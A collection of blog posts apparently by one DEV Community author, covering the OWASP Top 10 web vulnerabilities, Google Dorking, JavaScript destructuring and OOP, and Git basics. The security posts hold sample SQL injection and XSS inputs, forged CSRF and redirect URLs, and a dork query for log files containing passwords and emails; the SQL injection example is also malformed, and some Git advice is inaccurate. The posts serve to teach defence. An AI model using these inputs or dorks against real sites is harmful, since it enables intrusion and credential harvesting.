DEV Community: Yuma-Tsushima

[Cybersecurity] Most common web security vulnerabilities!

Yuma-Tsushima — Fri, 02 Jul 2021 11:34:05 +0000

OWASP or Open Web Security Project is a non-profit charitable organization focused on improving the security of software and web applications.

The organization publishes a list of top web security vulnerabilities based on the data from various security organizations.

The web security vulnerabilities are prioritized depending on exploitability, detectability and impact on software.

Exploitability - What is needed to exploit the security vulnerability? Highest exploitability when the attack needs only web browser and lowest being advanced programming and tools.
Detectability - How easy is it to detect the threat? Highest being the information displayed on URL, Form or Error message and lowest being source code.
Impact or Damage - How much damage will be done if the security vulnerability is exposed or attacked? Highest being complete system crash and lowest being nothing at all.

The main aim of OWASP Top 10 is to educate the developers, designers, managers, architects and organizations about the most important security vulnerabilities.

The Top 10 security vulnerabilities as per OWASP Top 10 are:

SQL Injection
Cross Site Scripting
Broken Authentication and Session Management
Insecure Direct Object References
Cross Site Request Forgery
Security Misconfiguration
Insecure Cryptographic Storage
Failure to restrict URL Access
Insufficient Transport Layer Protection
Unvalidated Redirects and Forwards

SQL Injection

Description

Injection is a security vulnerability that allows an attacker to alter backend SQL statements by manipulating the user supplied data.

Injection occurs when the user input is sent to an interpreter as part of command or query and trick the interpreter into executing unintended commands and gives access to unauthorized data.

The SQL command which when executed by web application can also expose the back-end database.

Implication

An attacker can inject malicious content into the vulnerable fields.
Sensitive data like User Names, Passwords, etc. can be read from the database.
Database data can be modified (Insert/Update/ Delete).
Administration Operations can be executed on the database

Vulnerable Objects

Input Fields
URLs interacting with the database.

Examples:

SQL injection on the Login Page

Logging into an application without having valid credentials.

Valid userName is available, and password is not available.

User Name: sjones

Password: 1=1' or pass123

SQL query created and sent to Interpreter as below

SELECT * FROM Users WHERE User_Name = sjones AND Password = 1=1' or pass123;

Recommendations

White listing the input fields
Avoid displaying detailed error messages that are useful to an attacker.

Cross Site Scripting

Description

Cross Site Scripting is also shortly known as XSS.

XSS vulnerabilities target scripts embedded in a page that are executed on the client side i.e. user browser rather then at the server side. These flaws can occur when the application takes untrusted data and send it to the web browser without proper validation.

Attackers can use XSS to execute malicious scripts on the users in this case victim browsers. Since the browser cannot know if the script is trusty or not, the script will be executed, and the attacker can hijack session cookies, deface websites, or redirect the user to an unwanted and malicious websites.

XSS is an attack which allows the attacker to execute the scripts on the victim's browser.

Implication:

Making the use of this security vulnerability, an attacker can inject scripts into the application, can steal session cookies, deface websites, and can run malware on the victim's machines.

Vulnerable Objects

Input Fields
URLs

Examples

http://www.example.com/home?"<script>alert("xss")</script>

The above script when run on a browser, a message box will be displayed if the site is vulnerable to XSS.

The more serious attack can be done if the attacker wants to display or store session cookie.

http://example.net/search.aspx?txtSearch <iframe> <src = http://google.com width = 500 height 500></iframe>

The above script when run, the browser will load an invisible frame pointing to http://google.com.

The attack can be made serious by running a malicious script on the browser.

Recommendations

White Listing input fields
Input Output encoding

Broken Authentication and Session Management

Description

The websites usually create a session cookie and session ID for each valid session, and these cookies contain sensitive data like username, password, etc. When the session is ended either by logout or browser closed abruptly, these cookies should be invalidated i.e. for each session there should be a new cookie.

If the cookies are not invalidated, the sensitive data will exist in the system. For example, a user using a public computer (Cyber Cafe), the cookies of the vulnerable site sits on the system and exposed to an attacker. An attacker uses the same public computer after some time, the sensitive data is compromised.

In the same manner, a user using a public computer, instead of logging off, he closes the browser abruptly. An attacker uses the same system, when browses the same vulnerable site, the previous session of the victim will be opened. The attacker can do whatever he wants to do from stealing profile information, credit card information, etc.

A check should be done to find the strength of the authentication and session management. Keys, session tokens, cookies should be implemented properly without compromising passwords.

Vulnerable Objects

Session IDs exposed on URL can lead to session fixation attack.
Session IDs same before and after logout and login.
Session Timeouts are not implemented correctly.
Application is assigning same session ID for each new session.
Authenticated parts of the application are protected using SSL and passwords are stored in hashed or encrypted format.
The session can be reused by a low privileged user.

Implication

Making use of this vulnerability, an attacker can hijack a session, gain unauthorized access to the system which allows disclosure and modification of unauthorized information.
The sessions can be high jacked using stolen cookies or sessions using XSS.

Examples

Airline reservation application supports URL rewriting, putting session IDs in the URL:

http://Examples.com/sale/saleitems;jsessionid=2P0OC2oJM0DPXSNQPLME34SERTBG/dest=Maldives

(Sale of tickets to Maldives)

An authenticated user of the site wants to let his friends know about the sale and sends an email across. The friends receive the session ID and can be used to do unauthorized modifications or misuse the saved credit card details.

An application is vulnerable to XSS, by which an attacker can access the session ID and can be used to hijack the session.
Applications timeouts are not set properly. The user uses a public computer and closes the browser instead of logging off and walks away. The attacker uses the same browser some time later, and the session is authenticated.

Recommendations

All the authentication and session management requirements should be defined as per OWASP Application Security Verification Standard.
Never expose any credentials in URLs or Logs.
Strong efforts should be also made to avoid XSS flaws which can be used to steal session IDs.

Insecure Direct Object References

Description

It occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key as in URL or as a FORM parameter. The attacker can use this information to access other objects and can create a future attack to access the unauthorized data.

Implication

Using this vulnerability, an attacker can gain access to unauthorized internal objects, can modify data or compromise the application.

Vulnerable Objects

In the URL.

Examples:

Changing "userid" in the following URL can make an attacker to view other user's information.

http://www.vulnerablesite.com/userid=123

modified to

http://www.vulnerablesite.com/userid=124

An attacker can view others information by changing user id value.

Recommendations:

Implement access control checks.
Avoid exposing object references in URLs.
Verify authorization to all reference objects.

Cross Site Request Forgery

Description

Cross Site Request Forgery is a forged request came from the cross site.

CSRF attack is an attack that occurs when a malicious website, email, or program causes a user's browser to perform an unwanted action on a trusted site for which the user is currently authenticated.

A CSRF attack forces a logged-on victim's browser to send a forged HTTP request, including the victim's session cookie and any other automatically included authentication information, to a vulnerable web application.

A link will be sent by the attacker to the victim when the user clicks on the URL when logged into the original website, the data will be stolen from the website.

Implication

Using this vulnerability as an attacker can change user profile information, change status, create a new user on admin behalf, etc.

Vulnerable Objects

User Profile page
User account forms
Business transaction page

Examples

The victim is logged into a bank website using valid credentials. He receives mail from an attacker saying "Please click here to donate $1 to cause."

When the victim clicks on it, a valid request will be created to donate $1 to a particular account.

http://www.vulnerablebank.com/transfer.do?account=cause&amount=1

The attacker captures this request and creates below request and embeds in a button saying "I Support Cause."

http://www.vulnerablebank.com/transfer.do?account=Attacker&amount=1000

Since the session is authenticated and the request is coming through the bank website, the server would transfer $1000 dollars to the attacker.

Recommendation

Mandate user's presence while performing sensitive actions.
Implement mechanisms like CAPTCHA, Re-Authentication, and Unique Request Tokens.

Security Misconfiguration

Description

Security Configuration must be defined and deployed for the application, frameworks, application server, web server, database server, and platform. If these are properly configured, an attacker can have unauthorized access to sensitive data or functionality.

Sometimes such flaws result in complete system compromise. Keeping the software up to date is also good security.

Implication

Making use of this vulnerability, the attacker can enumerate the underlying technology and application server version information, database information and gain information about the application to mount few more attacks.

Vulnerable objects

URL
Form Fields
Input fields

Examples

The application server admin console is automatically installed and not removed. Default accounts are not changed. The attacker can log in with default passwords and can gain unauthorized access.
Directory Listing is not disabled on your server. Attacker discovers and can simply list directories to find any file.

Insecure Cryptographic Storage

Description

Insecure Cryptographic storage is a common vulnerability which exists when the sensitive data is not stored securely.

The user credentials, profile information, health details, credit card information, etc. come under sensitive data information on a website.

This data will be stored on the application database. When this data are stored improperly by not using encryption or hashing*, it will be vulnerable to the attackers.

(*Hashing is transformation of the string characters into shorter strings of fixed length or a key. To decrypt the string, the algorithm used to form the key should be available)

Implication

By using this vulnerability, an attacker can steal, modify such weakly protected data to conduct identity theft, credit card fraud or other crimes.

Vulnerable objects

Application database. ### Examples

In one of the banking application, password database uses unsalted hashes * to store everyone's passwords. An SQL injection flaw allows the attacker to retrieve the password file. All the unsalted hashes can be brute forced in no time whereas, the salted passwords would take thousands of years.

(*Unsalted Hashes – Salt is a random data appended to the original data. Salt is appended to the password before hashing)

Recommendations

Ensure appropriate strong standard algorithms. Do not create own cryptographic algorithms. Use only approved public algorithms such as AES, RSA public key cryptography, and SHA-256, etc.
Ensure offsite backups are encrypted, but the keys are managed and backed up separately.

Failure to restrict URL Access

Description

Web applications check URL access rights before rendering protected links and buttons. Applications need to perform similar access control checks each time these pages are accessed.

In most of the applications, the privileged pages, locations and resources are not presented to the privileged users.

By an intelligent guess, an attacker can access privilege pages. An attacker can access sensitive pages, invoke functions and view confidential information.

Implication

Making use of this vulnerability attacker can gain access to the unauthorized URLs, without logging into the application and exploit the vulnerability. An attacker can access sensitive pages, invoke functions and view confidential information.
Vulnerable objects:

URLs

Examples
Attacker notices the URL indicates the role as "/user/getaccounts." He modifies as "/admin/getaccounts".
An attacker can append role to the URL.

http://www.vulnerablsite.com

can be modified as

 http://www.vulnerablesite.com/admin

Recommendations

Implement strong access control checks.
Authentication and authorization policies should be role-based.
Restrict access to unwanted URLs.

Insufficient Transport Layer Protection

Description

Deals with information exchange between the user (client) and the server (application). Applications frequently transmit sensitive information like authentication details, credit card information, and session tokens over a network.

By using weak algorithms or using expired or invalid certificates or not using SSL can allow the communication to be exposed to untrusted users, which may compromise a web application and or steal sensitive information.

Implication

Making use of this web security vulnerability, an attacker can sniff legitimate user's credentials and gaining access to the application.
Can steal credit card information.

Vulnerable objects

Data sent over the network.

Recommendations
Enable secure HTTP and enforce credential transfer over HTTPS only.
Ensure your certificate is valid and not expired.

Examples:

An application not using SSL, an attacker will simply monitor network traffic and observes an authenticated victim session cookie. An attacker can steal that cookie and perform Man-in-the-Middle attack.

Unvalidated Redirects and Forwards

Description

The web application uses few methods to redirect and forward users to other pages for an intended purpose.

If there is no proper validation while redirecting to other pages, attackers can make use of this and can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

Implication

An attacker can send a URL to the user that contains a genuine URL appended with encoded malicious URL. A user by just seeing the genuine part of the attacker sent URL can browse it and may become a victim.

Examples

http://www.vulnerablesite.com/login.aspx?redirectURL=ownsite.com

Modified to

http://www.vulnerablesite.com/login.aspx?redirectURL=evilsite.com

Recommendations

Simply avoid using redirects and forwards in the application. If used, do not involve using user parameters in calculating the destination.
If the destination parameters can't be avoided, ensure that the supplied value is valid, and authorized for the user.

Question: What other common web vulnerabilities do you know? How do we use them? Write a comment below!

[JavaScript] 5 Interesting uses of JavaScript destructuring!

Yuma-Tsushima — Thu, 01 Jul 2021 20:48:01 +0000

Looking at my regular JavaScript code, I see that destructuring assignments are everywhere.

Reading object properties and accessing array items are frequent operations. The destructuring assignments make these operations so much easier and concise.

In this post, I will describe 5 interesting uses of destructuring in JavaScript, beyond the basic usage.

1) Swap variables

The usual way to swap 2 variables requires an additional temporary variable. Let’s see a simple scenario:

let a = 1;
let b = 2;
let temp;

temp = a;
a = b;
b = temp;

a; // => 2
b; // => 1

temp is a temporary variable that holds the value of a. Then a is assigned with the value of b, and consequently b is assigned with temp.

The destructuring assignment makes the variables swapping simple, without any need of a temporary variable:

let a = 1;
let b = 2;

[a, b] = [b, a];

a; // => 2
b; // => 1

[a, b] = [b, a] is a destructuring assignment. On the right side, an array is created [b, a], that is [2, 1]. The first item of this array 2 is assigned to a, and the second item 1 is assigned to b.

Although you still create a temporary array, swapping variables using destructuring assignment is more concise.

This is not the limit. You can swap more than 2 variables at the same time. Let’s try that:

let zero = 2;
let one = 1;
let two = 0;

[zero, one, two] = [two, one, zero];

zero; // => 0
one;  // => 1
two;  // => 2

You can swap as many variables as you want! Although, swapping 2 variables is the most common scenario.

2) Access array item

You have an array of items that potentially can be empty. You want to access the first, second, or nth item of the array, but if the item does not exist, get a default value.

Normally you would use the length property of the array:

const colors = [];

let firstColor = 'white';
if (colors.length > 0) {
 firstColor = colors[0];
}

firstColor; // => 'white'

Fortunately, array destructuring helps you achieve the same way shorter:

const colors = [];
const [firstColor = 'white'] = colors;

firstColor; // => 'white'

const [firstColor = 'white'] = colors destructuring assigns to firstColor variable the first element of the colors array. If the array doesn’t have any element at the index 0, the 'white' default value is assigned.

Note the comma on the left side of the destructuring: it means that the first element is ignored. secondColor is assigned with the element at index 1 from the colors array.

3) Immutable operations

When I started using React, and later Redux, I was forced to write code that respects immutability. While having some difficulties at the start, later I saw its benefits: it’s easier to deal with unidirectional data flow.

Immutability forbids mutating objects. Fortunately, destructuring helps you achieve some operations in an immutable manner easily.

The destructuring in combination with ... rest operator removes elements from the beginning of an array:

const numbers = [1, 2, 3];

const [, ...fooNumbers] = numbers;

fooNumbers; // => [2, 3]
numbers; // => [1, 2, 3]

The destructuring [, ...fooNumbers] = numbers creates a new array fooNumbers that contains the items from numbers but the first one.

numbers array is not mutated, keeping the operation immutable.

In the same immutable manner you can delete properties from objects. Let’s try to delete foo property from the object big:

const big = {
 foo: 'value Foo',
 bar: 'value Bar'
};

const { foo, ...small } = big;

small; // => { bar: 'value Bar' }
big; // => { foo: 'value Foo', bar: 'value Bar' }

The destructuring assignment in combination with object rest operator creates a new object small with all properties from big, only without foo.

4) Destructuring iterables

In the previous sections, the destructuring was applied to arrays. But you can destructure any object that implements the iterable protocol.

Many native primitive types and objects are iterable: arrays, strings, typed arrays, sets, and maps.

const str = 'cheese';

const [firstChar = ''] = str;

firstChar; // => 'c'

You’re not limited to native types. Destructuring logic can be customized by implementing the iterable protocol.

movies holds a list of movie objects. When destructuring movies, it would be great to get the movie title as a string. Let’s implement a custom iterator:

const movies = {
  list: [
    { title: 'Skyfall' }, 
    { title: 'Interstellar' }
  ],
  [Symbol.iterator]() {
    let index = 0;
    return {
      next: () => {
        if (index < this.list.length) {
          const value = this.list[index++].title;
          return { value, done: false };
        }
        return { done: true };
      }
    };
  }
};

const [firstMovieTitle] = movies;
console.log(firstMovieTitle); // => 'Skyfall'

movies object implements the iterable protocol by defining the Symbol.iterator method. The iterator iterates over the titles of movies.

Conforming to an iterable protocol allows the destructuring of movies object into titles, specifically by reading the title of the first movie: const [firstMovieTitle] = movies.

The sky is the limit when using destructuring with iterators.

5) Destructuring dynamic properties

In my experience, the destructuring of an object by properties happens more often than arrays destructuring.

The destructuring of an object looks pretty simple:

const movie = { title: 'Skyfall' };

const { title } = movie;

title; // => 'Skyfall'

const { title } = movie creates a variable title and assigns to it the value of property movie.title.

When first reading about objects destructuring, I was a bit surprised that you don’t have to know the property name statically. You can destructure an object with a dynamic property name!

To see how dynamic destructuring works, let’s write a greeting function:

function greet(obj, nameProp) {
 const { [nameProp]: name = 'Unknown' } = obj;
 return `Hello, ${name}!`;
}

greet({ name: 'Ben' }, 'name'); // => 'Hello, Ben!'
greet({ }, 'name'); // => 'Hello, Unknown!'

greet() function is called with 2 arguments: the object and the property name.

Inside greet(), the destructuring assignment const { [nameProp]: name = 'Unknown' } = obj reads the dynamic property name using square brackets [nameProp]. The name variable receives the dynamic property value.

Even better you can specify a default value 'Unknown' in case if the property does not exist.

Conclusion

Destructuring works great if you want to access object properties and array items.

On top of the basic usage, array destructuring is convinient to swap variables, access array items, perform some immutable operations.

JavaScript offers even greater possibilities because you can define custom destructuring logic using iterators.

Question: What interesting applications of destructuring do you know? Write a comment below!

Credits

Yuma-Tsushima07 / Yuma-Tsushima07

Readme Version 3


  48656c6c6f2045766572796f6e65

❀ PROGRAMMER • ARTIST • HACKER ❀

About Me:

Name: Undisclosed
Alias: Yuma, V37R1X
Age: 19
Hobbies: Drawing, Hacking, Coding
Personality: INTJ-T 5w4 584 sp/sx RLOEI ILI Melancholic-Choleric LVFE

I am a/an:

Ethical Hacker/Pentester
CTF Player --> V37R1X
Team Leader --> 7h3B14ckKn1gh75
Web Developer

CTFs:

HackTheBox

Team: 7h3B14ckKn1gh75
- Captain: True
- Developmental Zone: 7h3-B14ck-Kn1gh75
HTB Profile: V37R1X

Coding:

CodeWars: Codewars
LeetCode: LeetCode

Languages and Tools:

Badges:

HackTheBox

TryHackMe

❀ BACK TO TOP ❀

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Follow me!

Github: https://github.com/Yuma-Tsushima07
Medium: https://0xv37r1x3r.medium.com/
SoundCloud: https://soundcloud.com/0c7av3h4ck5

Discord Servers!!

Bounty Hunters: An amazing bug hunting community full of developers and exploiters!!!

Link: https://discord.gg/J5PsgKqdWq

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Link: https://discord.com/invite/mNAWykv67W

New Soundcloud Track!!

[Github] What is Git? How do we use it?

Yuma-Tsushima — Wed, 30 Jun 2021 20:59:40 +0000

What is Git?

If you are a software developer then you must be familiar with Git. Git is vastly used for version/revision control for software development for controlling source code.

It is a distributed revision control system. Git is better than SVN for speed, data integrity and also support non-linear workflows.

Git was initially designed and developed by Linus Torvalds for Linux kernel development purpose. Yes you read it correct.

he creator of the Linux kernel designed and developed Git. Git was initially used for updating source code of the Linux kernel from around the world.

Like any other version control systems, every Git working directory has a full-fledged repository with complete history and full version-tracking capabilities.

Git is free software distributed under the terms of the GNU General Public License. Git utility or git tool is available with almost every Linux distributions.

How it works?

Git deals with data more like a set of snapshots, snapshots of a miniature filesystem. Every time you commit your file, or save the state of your project in the git project repository, it basically takes a snapshots. So, it stores a reference to that snapshot of what all of your files look like at that moment of commit. To be efficient, fast & accurate if files have not changed, Git does not store that file again for further more changes with your commit. It just simply stored a link to the previous identical file it has already stored.

It is a great tool with great efficiency for handling large projects with hundred of thousand files with large project size. Git is primarily developed for Linux. Now a days, it also supports most major operating systems including BSD, Solaris, OS X, and even for Microsoft Windows.

How I can use Git?

There are a lot of different ways you can use Git. Most of the time we use command line tools and yes there are many graphical user interfaces (GUI) based software available as well of varying capabilities. I will be using Git on the command line or terminal over here. Command line / terminal is the place where you can run all Git commands where as you can’t get all the features of Git on most of the GUIs based Git tools.

Installing Git

You need to install Git before you start using it. Though most of the Linux distributions comes up with Git as preinstalled. Even if it is already there, it’s good to update it to the latest version.

For RedHat / CentOS / Fedora, use the following command in the terminal to install it:

sudo yum install git

If you’re on a Debian-based distribution like Ubuntu, try the following command to install it:

sudo apt-get install git

For openSUSE, use the following command:

zypper install git-core git

For more different Linux distributions, there are instructions for installing on this link.

Create your identity

First, you need to set your user name and email address with git. This is very important as every Git commits you made uses this information.

 git config --global user.name "Username here"

git config --global user.email xyz@xyz.com

Check your Git setting

To check your git setting, issue the following command in your terminal:

git config --list

Cloning a Git repository

First, you must clone the git repository for your project to start with and only then you can commit your changes.

git clone https://gitlab.com/xyz/abc.git

The above command is showing how you can clone a git repository from a server. The server used in this example for git repository is gitlab and abc.git is the name. You can use the IP address of the git hosting server or the FQDN of that git sever.

Initialize a new Git repository

If you want to start your own git repository sever for your codebase, issue the following command:

git init

This will initiate a new git repository and the machine/host can be now used as a git repository server for that particular codebase. You can access the newly created repository by using the host’s IP or hostname.

Checking Git status

You can check the status of files in the index versus the working directory for your git repository by using the following command:

 git status

Add a new file to Git repository

Lets add a file to your newly created git repo. Go to your working folder for your source code.

Now create a demo file by issuing the following command:

nano demo.txt

Add these following lines to the demo.txt file.

This is a demo file. This is second line of the file.

Our demo file has been created. Next, add this newly created file to the index of the git repo by issuing.

 git add demo.txt

Now, we need to commit this to your git repo by using:

 git commit -m 'first commit'

This will add the file “demo.txt” with it’s file content and with a comment “first commit” so that you can search it later.

Now, add a third line and commit it again.

nano demo.txt

Add these following content to the file.

This is a demo file. This is second line of the file. This is the third line.

git commit -m 'second commit'

This will update the file accordingly.

Now, push the changes to the repository.

 git push

This will push the changes into the master branch.

Deleting a file from Git

Say, you need to remove a file from your git. Just do the following one after another.

 git rm documentation.txt

 git commit -m "documentation.txt  file removed"

 git push

You are done removing documentation.txt from your git repository.

Git Reset

If you want to reset your index and working directory to the state of your last commit or to any commit then issue the following command in the terminal

 git reset --hard commit number/HEAD

Git Stash

Say you made changes in one of your file but you don’t want to commit it to the repo then you can stash it and also you can push it later as well.

Simply type...

sudo git stash

Git Pull

If you want to sync your local git codebase with the latest codebase of the git remote server repository, you need to use the following command. It will fetches files from the remote repository and merges it with your local one.

 git pull

Viewing log file

If you want to see a listing of commits on a master branch including details with logs, type the following

 git log

Checking Git branch

A Git repository can have multiple branch including master branch. To know your git branch, issue the following on your terminal

 git branch

I tried to cover all the very basics of git in this article. I don’t want to make it complex. That’s why I don’t dive deep onto it. Hope you liked it. Thank you.

Credits

Yuma-Tsushima07 / Yuma-Tsushima07

Readme file

Welcome to Yuma-Tsushima's Github page!

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About Myself

Hello, my name is Yuma-Tsushima (frequently shortened to Yuma). I am an ambitious coder, and I enjoy coding in JavaScript (mainly). I also love making websites using HTML, CSS and (of course) JS! I started programming (self taught) at the age of 13. Originally, I came from the creative field ; I draw/sing/animate/make music.

Talents and Hobbies

I love drawing (I have been drawing all of my life). I play strategy games, I code and I do CTFs! I am also good at animation, making AMVs and image editing. My favourite game is Mindustry, followed by Flow Free and Sudoku. I love watching anime (I love Code Geass - I relate to Lelouch a lot) and I aspire to create my own anime!

Check out my work!:
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❯ Discord : {CyberArtByte}
❯ Artwork : AcceleratorArts07

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Github: https://github.com/Yuma-Tsushima07
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Discord Servers!!

Bounty Hunters: An amazing bug hunting community full of developers and exploiters!!!

Link: https://discord.gg/J5PsgKqdWq

CyberArtByte: My server full of bling and joy!!

Link: https://discord.com/invite/mNAWykv67W

New Soundcloud Track!!

[JavaScript] 7 OOP fundamentals you will need!

Yuma-Tsushima — Wed, 30 Jun 2021 20:26:25 +0000

Object Oriented Programming is one of the most popular ways in programming. Before OOP’s, list of instructions will be executed one by one. But in OOP’s we are dealing with Objects and how those objects interact with one another.

JavaScript supports Object Oriented Programming but not in the same way as other OOP languages(C++, PHP, Java, etc.) do.

The main difference between JavaScript and the other languages is that there are no Classes in JavaScript whereas Classes are very important for creating objects. However, there are ways through which we can simulate the Class concept in JavaScript. Another important difference is Data Hiding. There is no access specifier like (public, private and protected) in JavaScript but we can simulate the concept using the variable scope in functions.

Object Oriented Programming Concepts

1) Object
2) Class
3) Constructor
4) Inheritance
5) Encapsulation
6) Abstraction
7) Polymorphism

Preparing the workspace

Create a new file oops.html and write this code on it. We will write all our JavaScript code on this file.

<html>
  <head>
    <title>[JavaScript] 7 OOP fundamentals you will need!</title>
  </head>
  <body>
    <script type="text/javascript">
      //Write your code here.....
    </script>
  </body>
</html>

1) Object

Any real time entity is considered as an Object. Every Object will have some properties and functions. For example, consider a person as an object, then he will have properties like name, age, etc., and functions such as walk, talk, eat, think, etc. now let us see how to create objects in JavaScript. As mentioned previously there are so many ways to create objects in JavaScript like:

//1)Creating Object through literal
var obj = {};
//2)Creating with Object.create
var obj = Object.create(null);
//3)Creating using new keyword
function Person() {}
var obj = new Person();

We can use any of the above ways to create Object.

2) Class

As I said earlier there are no classes in JavaScript as it is Prototype based language. But we can simulate the class concept using JavaScript functions.

function Person() {
  //Properties
  this.name = "Ben";
  this.age = "18";
  //functions
  this.sayHi = function() {
    return this.name + " Says Hi";
  };
}
//Creating person instance
var p = new Person();
alert(p.sayHi());

3) Constructor

Actually, Constructor is a concept that comes under Classes. The constructor is used to assign values to the properties of the Class while creating an object using the new operator. In above code we have used name and age as properties for Person class, now we will assign values while creating new objects for Person class as below.

function Person(name, age) {
  //Assigning values through constructor
  this.name = name;
  this.age = age;
  //functions
  this.sayHi = function() {
    return this.name + " Says Hi";
  };
}
//Creating person instance
var p = new Person("Ben", 18);
alert(p.sayHi());
//Creating Second person instance
var p = new Person("Mel", 21);
alert(p.sayHi());

4) Inheritance

Inheritance is a process of getting the properties and function of one class to other class. For example, let’s consider Student Class, here the Student also has the properties of name and age which have been used in Person class. So it’s much better to acquiring the properties of the Person instead of re-creating the properties. Now let’s see how we can do the inheritance concept in JavaScript.

function Student() {}
//1)Prototype based Inhertance
Student.prototype = new Person();
//2)Inhertance throught Object.create
Student.prototype = Object.create(Person);
var stobj = new Student();
alert(stobj.sayHi());

We can do inheritance in above two ways.

5) Encapsulation

Before going on to Encapsulation and Abstraction first we need to know what Data Hiding is and how can we achieve it in JavaScript. Date hiding is protecting the data from accessing it outside the scope. For example, In Person class, we have Date of Birth (DOB) properties which should be protected. Let’s see how to do it.

function Person() {
  //this is private variable
  var dob = "17/06/2002";
  //public properties and functions
  return {
    age: "18",
    name: "Ben",
    getDob: function() {
      return dob;
    }
  };
}
var pobj = new Person();
//this will get undefined
//because it is private to Person
console.log(pobj.dob);
//Will get dob value we using public
//funtion to get private data
console.log(pobj.getDob());

Wrapping up of public and private data into a single data unit is called Encapsulation. The above example is the one that best suites Encapsulation.

6) Abstraction

Abstraction means hiding the inner implementation details and showing only outer details. To understand Abstraction we need to understand Abstract and Interface concepts from Java. But we don’t have any direct Abstract or Interface in JS. Ok! now in order to understand abstraction in JavaScript lets takes an example from JavaScript library Jquery. In Jquery we will use

$("#ele");

to select select an element with id ele on a web page. Actually this code calls negative JavaScript code

document.getElementById("ele");

But we don’t need to know that we can happy use the $("#ele") without knowing the inner details of the implementation.

7) Polymorphism

The word Polymorphism in OOPs means having more than one form. In JavaScript an Object, Property, Method can have more than one form. Polymorphism is a very cool feature for dynamic binding or late binding.

function Person() {
  this.sayHI = function() {};
}
//This will create Student Class
function Student() {}
Student.prototype = new Person();
Student.prototype.sayHI = function(l) {
  return "Hi! I am a Student";
};
//This will create Teacher Object
function Teacher() {}
Teacher.prototype = new Person();
Teacher.prototype.sayHI = function() {
  return "Hi! I am a Teacher";
};
var sObj = new Student();
//This will check if the student
//object is instance of Person or not
//if not it won't execute our alert code.
if (sObj instanceof Person) {
  alert("Hurry! JavaScript supports OOps");
}

Conclusion

JavaScript supports Object Oriented Programming(OOP)Concepts. But it may not be the direct way. We need to create some simulation for some concepts.

[Cybersecurity] What is Google Dorking?

Yuma-Tsushima — Mon, 28 Jun 2021 11:33:37 +0000

Whenever you want to look for something on the Internet, you use Google. The giant search engine indexes almost everything on the web. It has made billions of web pages accessible for people to find. And so, by using it, you would have a greater chance of finding whatever you are searching for.

However, within the large sea of indexed web content and public data, pieces of sensitive information can sometimes find themselves landing on search results. And frequently, this happens without their owners realising it.

A malicious hacker, by performing a technique called Google Dorking (or Google Hacking), can get their hands on this supposedly hidden content.

If you are not familiar with Google Dorks, don’t worry. In this post, I will explain what they are and how you can use them. I will also provide you with examples of how hackers employ them to access sensitive content. And finally, I will share with you a few best practices of how to protect yourself against them.

Before we go any further, I would like to remind you that accessing any information to which we are unauthorized is considered illegal in many jurisdictions. The primary focus of this article is to help you identify and clear any leaking information you might have. It also aims to assist you through the reconnaissance phase of your pen-testing projects. I do not encourage any other malicious use.

What are Google Dorks?

Google Dorks are search queries specially crafted by hackers to retrieve sensitive information that is not readily available to the average user. The technique of searching using these search strings is called Google Dorking, or Google Hacking.

The Google search box can act similarly to a command-line or an interpreter when provided with the right queries. In other words, there are certain keywords, and operators, that have special meaning to Google.

Users can employ these operators to help them find relevant results to their search queries in a short amount of time.

On the other hand, hackers can also take advantage of these operators to retrieve files containing passwords, lists of emails, log files, and many more.

The following example is a google dork query that returns log files containing passwords with email addresses:

filetype:log intext:password intext:(@gmail.com | @yahoo.com | @hotmail.com)

By the end of this article, you will be able to write similar queries.

Commands and Operators

Operators are the building blocks of Google dorks. Therefore, we will address them here first before we can write full dork queries.

Here is a list of the most common operators that you need to know:

Alternative Keywords

If you use the operator OR (or |) between two keywords or more, then the search results will return pages that contain matches to at least one of the keywords.

Example:

google OR bing OR duckduckgo

Matching All Keywords

Using the operator AND between two keywords or more forces the search engine to return results relevant to all provided keywords.

Example:

Samsung AND Apple

An Exact Match

Enclosing the search terms in double-quotes (“search string”) returns only webpages that contain an exact match of the string.

For example, if you search for the following :

"Google Dorks Explained"

Only pages that contain that same string will be returned. And so, pages that contain “Explained Google Dorks", or “Google Hacking using dorks explained” will not be matched.

Searching on a Specific Site

The operator “site: ” limits the search to the specified website.

Example:

Linux site:Wikipedia.org

This query will only return web pages from Wikipedia that are relevant to the keyword Linux.

Excluding a Keyword

If you use the operator ‘–‘ followed by a keyword, then this keyword is excluded from the results.

If we apply this operator to the previous example, then we will have the complete opposite results.

Linux -site:Wikipedia.org

The above query will exclude the Wikipedia site from the results.

Wildcards

The asterisk operator ‘*‘ is used as a wildcard and can match any word or group of words. This operator can be very useful when combined with the double quotes operator.

Example:

"username * password"

This example returns pages that contain the word username, followed by a group of words, which are then followed by the word password.

Grouping Keywords

The real power of google operators arises from how you can combine them to form complex queries. In such cases, the use of brackets is necessary to determine which operator has the highest priority.

If you remember some basics from your math class, then you won’t have a problem understanding the following example:

"google (dorks OR dorking OR hacking)" AND (explained OR tutorial OR guide)

Keywords in URLs

If you want Google to show only pages containing the search terms in their URL, then you can use the operator “inurl:“

For instance, the following query will return any page that contain the word admin in its url:

inurl:admin

Although this query on its own might return millions of pages ⁠— most of which are irrelevant ⁠— you can still filter out the results by using additional commands. For instance, if you limit the search to your website, you can verify if you have an exposed admin folder that you should worry about.

Keywords on the page

The command “intext:” returns pages containing the search term in their content.

Keywords in the title

The command “intitle:” returns pages that contain the terms of the search in their title, not their content.

File extension

When using the command “filetype:“, you force Google to only return pages that have a certain extension.

In the example below, Google will return only PDF files that contain the words “budget report”.

"Budget report" filetype:pdf

Search in Cache

Google stores a copy of almost every page it visits. These copies can sometimes come in handy, especially if the original web page is no longer available or is too slow to respond.

If you want to search in Google’s cache for a previous version of a page, you can use the command “cache:“

Example:

cache:en.wikipedia.org/wiki/Linux

Defend Yourself Against Google Dorks

Now that you know how dangerous Google dorks can be, you’re probably wondering how you can protect yourself, or your website, against them.

First of all, you should put yourself in the position of an attacker and try using google dorks against yourself. If you find something in the search results that shouldn’t be there, then you can fix this problem by following these good practices:

You can create a file called “robots.txt” in your directory, and specify to search engine robots which directories or files they should not index.
For sensitive pages, you should include meta tags in your Html code header with Noindex and Nofollow values.
You should always password-protect your directories.
Never store a password in plaintext. Instead, use salted hashes.
Sitedigger is a tool that you can use to help you find vulnerabilities and sensitive data from your site that is exposed through Google results.

Even if you do not have a webserver connected to the Internet, you still might not be as safe from Google Dorking as you might think you are.

You can still find your personal information readily accessible from Google Search.

I invite you to apply what we’ve learned in this post to identify if you have any leaked personal information. And if you find any, you should notify the proper entity so that they can take the necessary steps to remediate that.

Thanks for reading. If you want more tutorials like this you may comment bellow!

